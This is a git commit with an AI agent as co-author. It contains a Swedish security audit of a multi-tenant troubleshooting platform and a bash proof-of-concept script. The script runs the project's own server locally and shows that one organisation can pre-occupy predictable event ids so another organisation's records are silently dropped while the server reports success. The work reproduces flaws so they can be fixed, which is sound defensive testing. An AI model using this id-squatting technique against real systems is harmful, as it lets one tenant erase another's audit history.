TÜV-revision: bred granskning av hela systemet

Frågan var inte om mekanismerna fungerar — de gör det — utan om ett
underlag från systemet skulle överleva en granskning. Svaret är nej, av
tre skäl, och inget av dem är ett fel i det som de två föregående
revisionerna härdade.

T-1  En organisation kan tyst hindra en annan från att skriva historik.
     Händelse-id sätts av klienten och är förutsägbart, primärnyckeln är
     global, och insert sker med `on conflict do nothing`. Org B kan
     ockupera id på SITT EGET ärende som org A senare kommer att använda.
     Reproducerat: org A:s felorsak försvann, servern svarade 200.
     Append-only skyddar det som skrivs. Ingenting skyddar det som
     hindras från att skrivas.

T-2  Mätkedjan är självpåstådd. Mätdonsregistret finns, är välbyggt och
     konsulteras aldrig. Reproducerat: en organisation utan ett enda
     registrerat mätdon skickar matdonId "finns-inte-i-registret" och
     kalibrering 2099-12-31 — lagras oprövat, och evidensen graderas E4.

T-3  Raderingen är inte varaktig. Krypto-shreddingens nyckel ligger i
     samma databas som chiffertexten, och återställningstestet slår
     uttryckligen fast att nycklarna följer med en återställning. Testet
     har rätt för katastrofåterställning — det är samma faktum läst åt
     andra hållet som bryter raderingslöftet.

Därtill fyra allvarliga: gallringsdatumet skrivs men läses aldrig av
någon, AI-avlästa mätvärden saknar härkomst, lösenordshashen är bcrypt
kostnad 6 (pgcrypto-standard, verifierat), och åtkomstloggen och
raderingsregistret är de enda underlagen UTAN append-only-skydd.

Gemensamt för de tre kritiska: var och en är osynlig för en grön svit,
och av tre olika skäl. Det är revisionens egentliga utfall, och därför
föreslås en motspelande hyresgäst som testform.

Varje fynd reproducerat mot riktig Postgres och en riktig serverprocess.
Inget rapporteras som inte gick att återskapa.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012EQg3rJsrQ1ZNTvkzmQAtt
This commit is contained in:
Claude
2026-08-06 12:27:50 +00:00
parent 3b83fc94e9
commit 0833a573e0
2 changed files with 547 additions and 0 deletions
@@ -0,0 +1,90 @@
#!/usr/bin/env bash
# TÜV-prov: kan en organisation hindra en annan från att skriva historik?
#
# Händelse-id sätts av klienten och är Date.now().toString(36) + räknare
# (app/src/felsokning/domain.ts:251) — alltså förutsägbart. Primärnyckeln
# i felsokning_handelser är GLOBAL, och insert sker med
# `on conflict (id) do nothing`.
#
# Frågan: kan org B ockupera ett id som org A senare kommer att använda,
# så att org A:s händelse tyst försvinner?
set -euo pipefail
cd "$(dirname "$0")"
PGPORT=5497
APPPORT=8397
BAS="http://127.0.0.1:$APPPORT"
DATADIR=$(mktemp -d)
PGBIN=$(ls -d /usr/lib/postgresql/*/bin | head -1)
KOD=/home/user/konditori-joy/felsokning
stada() {
kill "$SERVER_PID" 2>/dev/null || true
su postgres -c "$PGBIN/pg_ctl -D '$DATADIR' stop -m immediate" >/dev/null 2>&1 || true
rm -rf "$DATADIR"
}
trap stada EXIT
chown postgres "$DATADIR"
su postgres -c "$PGBIN/initdb -D '$DATADIR' -A trust" >/dev/null
su postgres -c "$PGBIN/pg_ctl -D '$DATADIR' -o '-p $PGPORT -k /tmp -c listen_addresses=127.0.0.1' -l '$DATADIR/logg' start" >/dev/null
su postgres -c "$PGBIN/psql -h /tmp -p $PGPORT -d postgres -qc \"create role plattform login password 'test'\""
su postgres -c "$PGBIN/psql -h /tmp -p $PGPORT -d postgres -qc 'create database felsokning owner plattform'"
PGPASSWORD=test "$PGBIN/psql" -h 127.0.0.1 -p $PGPORT -U plattform -d felsokning -q -f "$KOD/infra/postgres-init.sql"
DATABASE_URL="postgresql://plattform:test@127.0.0.1:$PGPORT/felsokning" \
JWT_SECRET=tuvhemlighet PORT=$APPPORT node "$KOD/services/plattform/server.mjs" >/dev/null 2>&1 &
SERVER_PID=$!
sleep 1
falt() { node -pe "JSON.parse(require('fs').readFileSync(0,'utf8'))$1"; }
TOKEN_A=$(curl -s -X POST "$BAS/api/auth/registrera" -H 'Content-Type: application/json' \
-d '{"epost":"a@a.se","losenord":"hemligt123","namn":"Anna","organisation":"Verkstad A"}' | falt .token)
TOKEN_B=$(curl -s -X POST "$BAS/api/auth/registrera" -H 'Content-Type: application/json' \
-d '{"epost":"b@b.se","losenord":"hemligt123","namn":"Bo","organisation":"Verkstad B"}' | falt .token)
curl -s -X POST "$BAS/api/arenden" -H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
-d '{"id":"arende-a","nummer":1,"skapad":"2026-08-06T08:00:00Z"}' >/dev/null
curl -s -X POST "$BAS/api/arenden" -H "Authorization: Bearer $TOKEN_B" -H 'Content-Type: application/json' \
-d '{"id":"arende-b","nummer":1,"skapad":"2026-08-06T08:00:00Z"}' >/dev/null
# Så här ser ett riktigt klient-id ut. Angriparen behöver inte gissa —
# formatet står i källkoden och tiden är allmänt känd.
IDN=$(node -pe "
const t = Date.now() + 60000; // en minut fram i tiden
Array.from({length: 40}, (_, i) => t.toString(36) + '-' + i.toString(36)).join(' ')
")
FORSTA=$(echo "$IDN" | cut -d' ' -f1)
# Org B ockuperar id:na på SITT EGET ärende. Inget anrop rör org A.
POSTER=$(node -pe "
JSON.stringify({ handelser: '$IDN'.split(' ').map((id) => ({
id, tidpunkt: '2026-08-06T08:01:00Z', anvandare: 'Bo',
handelse: { typ: 'observation', text: 'Ockuperad.' } })) })
")
curl -s -X POST "$BAS/api/arenden/arende-b/handelser" -H "Authorization: Bearer $TOKEN_B" \
-H 'Content-Type: application/json' -d "$POSTER" >/dev/null
# Org A dokumenterar ett verkligt fynd och råkar få samma id.
SVAR=$(curl -s -w '\n%{http_code}' -X POST "$BAS/api/arenden/arende-a/handelser" \
-H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
-d "{\"handelser\":[{\"id\":\"$FORSTA\",\"tidpunkt\":\"2026-08-06T08:02:00Z\",\"anvandare\":\"Anna\",
\"handelse\":{\"typ\":\"felorsak\",\"avvikelse\":\"Bromsledning skavd mot chassi.\",
\"orsaker\":[\"Montagefel\"],\"underlag\":[\"Foto\"],\"sakerhet\":\"hog\",
\"atgard\":\"Byt ledning och sätt ny klammer.\"}}]}")
STATUS=$(echo "$SVAR" | tail -1)
echo
echo "org A fick statuskod: $STATUS"
ANTAL=$(curl -s "$BAS/api/arenden/arende-a/handelser" -H "Authorization: Bearer $TOKEN_A" | falt .handelser.length)
echo "händelser i org A:s ärende: $ANTAL"
AGARE=$(PGPASSWORD=test "$PGBIN/psql" -h 127.0.0.1 -p $PGPORT -U plattform -d felsokning \
-tAc "select arende_id from felsokning_handelser where id='$FORSTA'")
echo "id '$FORSTA' tillhör: $AGARE"
echo
if [ "$STATUS" = "200" ] && [ "$ANTAL" = "0" ]; then
echo "BEKRÄFTAT: org A:s felorsak försvann. Servern svarade 200."
else
echo "Ej reproducerat."
fi